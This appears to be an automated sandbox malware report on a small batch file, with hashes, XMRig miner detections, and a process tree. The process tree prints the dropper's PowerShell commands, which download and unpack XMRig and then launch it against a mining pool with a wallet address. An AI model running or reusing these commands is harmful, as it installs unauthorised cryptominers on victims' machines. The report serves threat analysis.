Analysis

  • max time kernel
    1792s
  • max time network
    1781s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 62 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4704
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4656
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3660

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axrtzi43.oem.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/3660-146-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-122-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-188-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-187-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-186-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-185-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-184-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-183-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-182-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-181-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-180-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-179-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-178-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-177-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-176-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-120-0x000001D44CDD0000-0x000001D44CDF0000-memory.dmp

    Filesize

    128KB

  • memory/3660-121-0x000001D44CE20000-0x000001D44CE40000-memory.dmp

    Filesize

    128KB

  • memory/3660-149-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-123-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-125-0x000001D44CE60000-0x000001D44CE80000-memory.dmp

    Filesize

    128KB

  • memory/3660-124-0x000001D44CE40000-0x000001D44CE60000-memory.dmp

    Filesize

    128KB

  • memory/3660-126-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-127-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-129-0x000001D44CE60000-0x000001D44CE80000-memory.dmp

    Filesize

    128KB

  • memory/3660-128-0x000001D44CE40000-0x000001D44CE60000-memory.dmp

    Filesize

    128KB

  • memory/3660-130-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-131-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-132-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-133-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-134-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-135-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-136-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-137-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-138-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-139-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-140-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-141-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-142-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-143-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-144-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-148-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-175-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-174-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-145-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-147-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-150-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-151-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-152-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-153-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-154-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-155-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-156-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-157-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-158-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-159-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-160-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-161-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-162-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-163-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-164-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-165-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-166-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-167-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-168-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-169-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-170-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-171-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-172-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/3660-173-0x00007FF71DD10000-0x00007FF71E813000-memory.dmp

    Filesize

    11.0MB

  • memory/4656-45-0x000001DBEE970000-0x000001DBEE980000-memory.dmp

    Filesize

    64KB

  • memory/4656-42-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4656-117-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4656-80-0x000001DBEF130000-0x000001DBEF142000-memory.dmp

    Filesize

    72KB

  • memory/4656-93-0x000001DBEE9C0000-0x000001DBEE9CA000-memory.dmp

    Filesize

    40KB

  • memory/4656-67-0x000001DBEE970000-0x000001DBEE980000-memory.dmp

    Filesize

    64KB

  • memory/4656-43-0x000001DBEE970000-0x000001DBEE980000-memory.dmp

    Filesize

    64KB

  • memory/4704-5-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4704-27-0x0000017568680000-0x0000017568690000-memory.dmp

    Filesize

    64KB

  • memory/4704-26-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB

  • memory/4704-25-0x0000017568680000-0x0000017568690000-memory.dmp

    Filesize

    64KB

  • memory/4704-9-0x0000017568680000-0x0000017568690000-memory.dmp

    Filesize

    64KB

  • memory/4704-10-0x0000017568880000-0x00000175688F6000-memory.dmp

    Filesize

    472KB

  • memory/4704-7-0x0000017568680000-0x0000017568690000-memory.dmp

    Filesize

    64KB

  • memory/4704-4-0x0000017568430000-0x0000017568452000-memory.dmp

    Filesize

    136KB

  • memory/4704-28-0x0000017568680000-0x0000017568690000-memory.dmp

    Filesize

    64KB

  • memory/4704-29-0x0000017568680000-0x0000017568690000-memory.dmp

    Filesize

    64KB

  • memory/4704-34-0x00007FFC45BF0000-0x00007FFC465DC000-memory.dmp

    Filesize

    9.9MB